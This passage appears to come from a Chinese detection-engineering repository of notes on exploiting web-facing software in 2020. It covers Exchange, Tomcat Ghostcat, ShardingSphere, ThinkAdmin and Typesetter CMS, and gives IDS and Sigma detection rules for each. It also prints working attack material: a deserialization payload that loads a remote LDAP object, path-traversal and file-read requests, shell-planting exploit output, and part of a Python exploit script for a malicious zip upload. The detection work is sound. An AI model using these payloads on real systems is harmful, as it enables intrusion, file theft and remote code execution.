CVE-2020-17144-EXP.exe mail.example.com user pass 执行命令 & 端口复用: 修改ExploitClass.cs ## 测试案例 借用其他测试案例: ``` YML C:\Users\k8gege>CVE-2020-17144.exe 192.168.1.89 administrator K8gege520 BinaryFormatter [+] Target: https://192.168.1.89/ews/Exchange.asmx [+] User: administrator K8gege520 [+] Shell in https://192.168.1.89/autodiscover/Services.aspx, Wait for few minutes ``` ## 检测日志 IIS日志、Windows安全日志 4776凭据验证 ## 测试复现 ## 测试留痕 ``` log 2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0 2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 156 2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 8 2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 15 2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0 2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 14 ``` ## 检测规则/思路 通过上述日志可以看到访问了"/ews/Exchange.asmx",但这并不能作为一个有效的监测特征,实际分析过程中需要结合上下文行为进行分析。结合网络上公开的EXP来看,攻击路径相对固定。但跳出利用POC中非默认路径。 ``` yml title: Analyzing Exchange Vulnerability Explosions Using IIS Log Monitoring for CVE-2020-17144 description: windows server 2012 author: DHZN logsource: product: windows service: IIS detection: selection: http_method: POST url_path|contain: '/ews/Exchange.asmx' condition: selection level: low ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 〖EXP〗CVE-2020-17144 Exchange漏洞利用 POC1 POC2 ================================================ FILE: Web/2020/T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md ================================================ # T1190-CVE-2020-1938漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-1938漏洞 2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。 ## 测试案例 具体复测可以参考 - Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析: ## 检测日志 HTTP流量 ## 测试复现 可参考上述测试案例 ## 测试留痕 HTTP流量检测规则基于payload关键词进行检测 ## 检测规则/思路 ### Suricata检测规则 ``` yml # CNVD-2020-10487 CVE-2020-1938 alert tcp any any -> any 8009 (msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|request_uri"; content:"javax|2e|servlet|2e|include|2e|path_info"; content:"javax|2e|servlet|2e|include|2e|servlet_path"; reference:url,www.anquanke.com/post/id/199351; classtype:tomcat; sid:202002211; rev:1;) ``` ### Bro检测规则 ``` yml module EXPLOIT; event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string) { if ( (c$id$resp_p == 8009/tcp) && /javax\.servlet\.include\.request_uri/ in payload && /javax\.servlet\.include\.path_info/ in payload && /javax\.servlet\.include\.servlet_path/ in payload) { local rec: EXPLOIT::Info = [$ts=c$start_time, $src_ip=c$id$orig_h, $src_port=c$id$orig_p, $dst_ip=c$id$resp_h, $dst_port=c$id$resp_p, $vul_payload=payload, $vul_describe="CVE-2020-1938 Ghostcat", $vul_refer="https://www.anquanke.com/post/id/199351", $vul_level="high"]; Log::write(EXPLOIT::LOG, rec); } ``` 检测规则转载自:**** ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 CVE-2020-1938检测规则 ================================================ FILE: Web/2020/T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md ================================================ # T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Apache ShardingSphere是京东开源的分布式数据库中间件项目,于2018年11月进入Apache基金会孵化器,可提供数据分片(分库分表)、分布式事务、数据库治理三大功能。。 3月10日,Apache ShardingSphere官方库发布了新版本4.0.1,修复了远程代码执行漏洞(CVE-2020-1947)。攻击者在登录管理后台的前提下,通过提交恶意YAML代码,可实现远程代码执行。请相关用户尽快升级至最新版本,修复此漏洞。 影响范围:Apache ShardingSphere < 4.0.1 ## 检测日志 HTTP ## 测试复现 登录后台后,发送如下poc ``` yml POST /api/schema HTTP/1.1 Host: localhost:8089 Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Access-Token: 替换为自己的Poc Content-Length: 579 {"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"} ``` ## 测试留痕 ``` yml POST /api/schema HTTP/1.1 Host: 10.16.45.164:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Length: 577 Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiamF2YS5sYW5nLkRvdWJsZSI6e30sImphdmEudXRpbC5NYXBcdTAwM2Njb20uZ29vZ2xlLmdzb24ucmVmbGVjdC5UeXBlVG9rZW5cdTAwM2M/XHUwMDNlLCBjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuT2JqZWN0VHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlclx1MDAzYz9cdTAwM2UiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiamF2YS5sYW5nLlN0cmluZyI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMwIjp7fSwiY29tLmdvb2dsZS5nc29uLkZpZWxkTmFtaW5nUG9saWN5JDEiOnt9LCJvcmcuYXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NCI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSQxIjp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlRpbWVUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeVx1MDAzZSI6e30sImphdmEubGFuZy5CeXRlIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5TcWxEYXRlVHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkpzb25BZGFwdGVyQW5ub3RhdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk1hcFR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImJ5dGUiOnt9LCJieXRlW10iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjamF2YS5sYW5nLnJlZmxlY3QuVHlwZSwgY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2VcdTAwM2UiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkdzb24iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5EYXRlVHlwZUFkYXB0ZXIkMSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImludCI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMzIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiZG91YmxlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuRXhjbHVkZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19 Content-Type: application/json;charset=utf-8 { "name": "CVE-2020-1947", "ruleConfiguration": " encryptors: encryptor_aes: type: aes props: aes.key.value: 123456abc encryptor_md5: type: md5 tables: t_encrypt: columns: user_id: plainColumn: user_plain cipherColumn: user_cipher encryptor: encryptor_aes order_id: cipherColumn: order_cipher encryptor: encryptor_md5", "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl dataSourceName: ldap://127.0.0.1:1389/ExportObject autoCommit: true" } HTTP/1.1 200 OK Date: Sun, 06 Jun 2021 17:09:47 GMT Content-Length: 11 Content-Type: text/plain; charset=utf-8 aesresponse ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"CVE-2020-1947";flow:established,to_server;content:"POST";http_method;content:"/api/schema";http_uri;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞";flow:established,to_client;content:"200";http_stat_code;content:"aesresponse";http_server_body;flowbits:isset,first_req;reference:url,www.cnblogs.com/potatsoSec/p/12461330.html;classtype:web-application-attck;sid:2;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 CVE-2020-1947 Sharding-UI的反序列化复现及分析 ================================================ FILE: Web/2020/T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md ================================================ # T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。 影响范围:ThinkAdmin版本小于 ≤ 2020.08.03.01 ## 检测日志 HTTP ## 测试复现 Burp抓包,修改参数 ``` yml POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26 Upgrade-Insecure-Requests: 1 Content-Length: 27 Content-Type: application/x-www-form-urlencoded - ---------------------------------------------- rules=%5b%22%2e%5c%2f%22%5d ``` ## 测试留痕 ### 目录遍历 ``` yml POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=%5B%22.%2F%22%5D ``` ### 文件读取 ``` s GET /admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38 HTTP/1.1 Host: 192.168.100.194:8000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: think_lang=zh-cn; PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52 Connection: close HTTP/1.1 200 OK Host: 192.168.100.194:8000 Date: Wed, 09 Dec 2020 10:53:17 +0800 Connection: close X-Powered-By: PHP/7.2.1 Content-Type:application/json; charset=utf-8 Set-Cookie: think_lang=zh-cn; path=/ Set-Cookie: PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52; path=/ ...{"code":1,"info":".....................","data":{"content":"dGVzdHRlc3R0ZXN0"}} ``` ## 检测规则/思路 ### Suricata规则 #### 目录遍历检测规则 ``` s alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"POST";http_method;content:"/admin.html?s=admin/api.Update/node";http_uri;content:"rules=";http_client_body;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2020-25540-目录遍历";flow:established,to_client;content:"200";http_stat_code;content:"获取文件列表成功";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;) ``` ### 文件读取检测规则 ``` s alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"GET";http_method;content:"/admin.html?s=admin/api.Update/get/encode/";http_uri;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2020-25540-文件读取";flow:established,to_client;content:"200";http_stat_code;content:"data";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 CVE-2020-25540目录遍历文件读取漏洞 ================================================ FILE: Web/2020/T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md ================================================ # T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Typesetter CMS存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。 影响范围:Typesetter CMS 5.x全版本 ## 检测日志 HTTP ## 测试复现 虽然对上传的文件进行了过滤,但是没有对解压文件的文件进行过滤,导致可以上传,php的压缩文件,解压后就可以执行php文件。 Finder.class.php文件中extract函数解压后未对,解压后的文件名进行任何过滤。POC如下: ``` yml import argparse - -------------- from bs4 import BeautifulSoup - -------------- import requests - -------------- import sys - -------------- import re ---------- import urllib3 - -------------- from urllib3.exceptions import InsecureRequestWarning ----------------------------------------------------- banner = """--------------- usage: main.py [-h] -p PASSWORD -l LOGIN -u URL ==> Exploit for CVE 2020-25790 optional arguments: - h, --help show this help message and exit - p PASSWORD, --password PASSWORD ==> admin password - l LOGIN, --login LOGIN ==> admin login - u URL, --url URL ==> main URL """ ----------------------------------------------------- print(banner) - -------------- menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790") - -------------- menu.add_argument("-p", "--password", required=True, help="==> admin password") - -------------- menu.add_argument("-l", "--login", required=True, help="==> admin login") - -------------- menu.add_argument("-u", "--url", required=True, help="==> main URL") - -------------- menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside") - -------------- args = menu.parse_args() ----------------------------------------------------- login = args.login - -------------- password = args.password - -------------- url = args.url - -------------- file = args.file ---------- PROXIES = proxies = { - -------------- "http": "http://127.0.0.1:8080", - -------------- "https": "https://127.0.0.1:8080", - -------------- } ---------- class Exploit: ----------------------------------------------------- def __init__(self, login, password, url, file): - -------------- self.login = login - -------------- self.password = password - -------------- self.url = url - -------------- self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari" - -------------- self.file = open(file, 'rb') ----------------------------------------------------- def get_nounce(self): - -------------- try: - -------------- url = self.url + "/Admin" - -------------- r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False) - -------------- data = r.text - -------------- soap_obj = BeautifulSoup(data, 'html.parser') - -------------- for inp in soap_obj.find_all("input"): - -------------- for v in inp: - -------------- nounce = v['value'] - -------------- if nounce != None or nounce != "": - -------------- return nounce - -------------- except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: - -------------- print(f'==> Error {e}') ----------------------------------------------------- def get_hash_folders(self): ----------------------------------------------------- cookie_auth = self.get_cookies() - -------------- hash_verified = self.get_verified() - -------------- data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1} - -------------- try: - -------------- url = self.url + "/Admin_Finder" - -------------- r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False) - -------------- json_data = r.json() - -------------- hash_dir = json_data['files'][2]['hash'] - -------------- return hash_dir - -------------- except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: - -------------- print(f'==> Error {e}') ----------------------------------------------------- def get_cookies(self): ----------------------------------------------------- nounce = self.get_nounce() - -------------- if nounce: - -------------- try: - -------------- url = self.url + "/Admin" - -------------- data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '', - -------------- 'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '', - -------------- 'remember': 'on', 'verified': ''} - -------------- r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False, - -------------- headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'}) - -------------- cookie_admin = r.headers['Set-Cookie'] - -------------- cookie_name = cookie_admin.split(':')[0].split('=')[0] - -------------- cookie_value = 